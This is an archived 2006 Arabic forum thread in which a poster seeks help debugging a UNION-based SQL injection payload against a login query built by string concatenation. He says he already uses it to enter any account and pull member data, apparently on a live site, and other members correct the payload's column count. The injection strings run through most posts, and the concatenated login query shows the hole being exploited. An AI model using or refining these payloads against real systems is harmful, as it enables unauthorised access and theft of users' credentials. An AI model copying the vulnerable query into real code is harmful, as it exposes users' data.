الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

LIKE, NOT LIKE لا تعمل / :

مغلق
بدأه Xacker في 22 يوليو 2006 · 12 رد · 803 مشاهدة · في قواعد بيانات Microsoft SQL Server
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

الاستعلام يتم بالشكل

"select username,password from members where username='"& username & "' and password='"& password & "'"

ثم ناتي الى المرحلة الجميلة

الـ username=

' union select * from members where Email like '%hotmail%';--

وبالتالي يصبح الاستعلام

select username,password from members where username='' union select * from members where Email like '%hotmail%';-- and password=''

لكن هذا الخطأ يظهر:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists

فما السبب, علما اني قمت بتحديد اسماء جميع الاعمدة بدلاً من * في SELECT

وحتى بحثت فيما اذا كان هناك استخدام مختلف او مشاكل لـ like في UNION SELECT ولم اجد اي شئ!

شكرا سلفا

تم تعديل هذه المشاركة بواسطة Xacker في 22 يوليو 2006 في 17:56

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#2
select username,password from members where username= (select username from members where Email like '%hotmail%';-- and password=')

لا يمكن استخدام union هكذا فهي تقوم بجمع نتيجتي استعلامين متشابهين من حيث النتائج

select A,b from t1
union
select A,b from T2

حيث انّ a,b لهما نفس نمط البيانات

ام ان يكون ما سبق هو ما تريده فانا لم افهم ماذا تريد عمله

و لكن في الاستعلام الذي كتبته في بداية الصفحة لاحظ انّ النتائج العائدة من الاستعلام الجزئي يجب ان تكون عامود واحد و ليس * لكي يتم مقارنتها مع username

انا بالخدمة فقط وضح لي ماذا تريد ان تفعل :)

رب اجعلني مقيم الصلاة ومن ذريتي ربنا وتقبل دعاء.

لا تنسى: "العقل مثل العضلة كلما استخدمته أكثر كلما ازدادت قوته"

#3

بما اني على الجانب السئ فالمامي بما هو صح وغلط ليس كالمام المبرمجين في هذا الموضوع.. :)

لكن ما اتصوره من كتابتي لـ union select انه حالما قمت بجعل الـ password والـ username عبارة عن خانات فارغة فهنا تم فقط تنفيذ استعلام union select وتم اختيار اسم مستخدم من جدول المستخدمين بحيث يجب ان يحوي الايميل على العبارة hotmail

وكما قلت, حاولت ان اضع اسماء الاعمدة ايضا الخاصة بالجدول عند union select col1, col2, ...

لكن لم ينفع هذا ايضا .. هل قمت بالتوضيح؟ المشكلة ان الافكار براسي لكن قد لا يكون بامكاني التوضيح بكل مباشر كمبرمجي mssql

تحياتي

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#4

لم افهم :lol: :lol: قرأت ما كتبته اكثر من خمس مرات و لم افهم ماذا تريد

دعك من ما كتبته لاحقا ما اريده منك: على ماذا تريد ان تحصل, فقط وضح لي ما هي النتائج التي تريد ان تحصل عليها

و من اين تود الحصول عليها اي ما هي الجداول

اكتب بالعامية لا مشكلة المهم ان توضح الفكرة

رب اجعلني مقيم الصلاة ومن ذريتي ربنا وتقبل دعاء.

لا تنسى: "العقل مثل العضلة كلما استخدمته أكثر كلما ازدادت قوته"

#5

اعتقد انه الباشا بيحاول يعمل SQL injection

Mahmoud Magdy

MVP - Exchange Server. MCITP (Windows Server 2008, Exhcange Server 2010,/2007),CCNP, MCTS(OCS 2007 R2, SCCM 2007)

Tech Lead

Ingazat Information Technology

Follow me on twitter: http://www.twitter.com/_busbar

my blog: http://autodiscover.wordpress.com

Link with me on linkedin: http://www.linkedin.com/profile?viewProfile=&key=71027694

or on experts-exchange.com: http://www.experts-exchange.com/M_1426100.html

#6
select username,password from members where Email like '%hotmail%'
d4baa0.gif
#7
اقتباس
لم افهم :lol: :lol: قرأت ما كتبته اكثر من خمس مرات و لم افهم ماذا تريد

دعك من ما كتبته لاحقا ما اريده منك: على ماذا تريد ان تحصل, فقط وضح لي ما هي النتائج التي تريد ان تحصل عليها

و من اين تود الحصول عليها اي ما هي الجداول

اكتب بالعامية لا مشكلة المهم ان توضح الفكرة

في الواقع يا وليد سؤالي هو فقط: هل هناك اي استخدام خاص لـ like ضمن كتلة union select او لا؟ وما الذي قد يسبب ظهور مثل هذا الخطا فيما عدا عن سبب عدم تطابيق عدد الاعمدة في استعلامي select الاثنين؟

اقتباس
اعتقد انه الباشا بيحاول يعمل SQL injection

في الواقع انا نفذته وخلاص وقادر ادخل على اي حساب واسحب اي بيانات اريد قراءتها بطريقة خاصة حتى لو لم يكن الحقن في خانة بحث ;) لكني اريد الحصول على نتائج معينة بحيث يكون المتحول الخاص بالايميل مثلا يكون عبر Yahoo وليس Hotmail وما فاجئني ان like لا تعمل عبر الاستعلام الخاص بالحقن :blink:

اخي D انا لا استفسر عن الاستعلام ولكن عن السبب الذي يمنع like من العمل (ربما السبب ليس فيها لقلة الدراية) في استعلام يحوي على select blahblah union select blahblah2

شكرا على وقتكم يا شباب :)

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#8
Xacker كتب:
في الواقع يا وليد سؤالي هو فقط: هل هناك اي استخدام خاص لـ like ضمن كتلة union select او لا؟ وما الذي قد يسبب ظهور مثل هذا الخطا فيما عدا عن سبب عدم تطابيق عدد الاعمدة في استعلامي select الاثنين؟

اسمي وائل للتصحيح فقط :)

لا يوجد اي استخدام خاص ل like مع union select, و السبب في ظهور الخطأ السابق هو انك استخدمت union بشكل خاطئ

select username,password from members where username='' union select * from members where Email like '%hotmail%';-- and password=''

انظر كيف استخدمت union و هذا ليس هو موضع استخدام union

رب اجعلني مقيم الصلاة ومن ذريتي ربنا وتقبل دعاء.

لا تنسى: "العقل مثل العضلة كلما استخدمته أكثر كلما ازدادت قوته"

#9

اوه عفوا معلش (روح اقرأ عن ضربة الشمس بنص الليل في موضوع busbar :P) :)

على هذا افترض ان

select username, password from members where username='' and password='' union select username from members where Email like '%hotmail%';-- and password=''

يجب ان يعمل؟ /:

تم تعديل هذه المشاركة بواسطة walcom في 25 يوليو 2006 في 09:23

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#10
select username, password from members where username='' and password='' 
union 
select username, password from members where Email like '%hotmail%';-- and password=''

على ما اعتقد هكذا يجب ان يعمل

رب اجعلني مقيم الصلاة ومن ذريتي ربنا وتقبل دعاء.

لا تنسى: "العقل مثل العضلة كلما استخدمته أكثر كلما ازدادت قوته"

#11

ستعمل لو في الاحوال العادية :)

لكن للاسف معي لا توجد نتيجة.. لا بأس :)

شكرا على المساعدة باي حال يا وائل

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#12

لاحظت ان الاستعلام لا يعمل عندما استخدم الجملة بالشكل

union select * from members where email like '%hotmail%'

وتعمل لو لم استخدم رموز المطابقة في like اي % !!!

بمعنى لو قمت مثلا بالاستعلام عن اسم

union select * from members where username like 'luser' -- تعمل
union select * from members where username like '%user' -- لا تعمل

فهل يوجد تفسير لهذا :unsure:

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#13

^

again :)

tnx

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

هذا الموضوع مغلق.

مواضيع مشابهة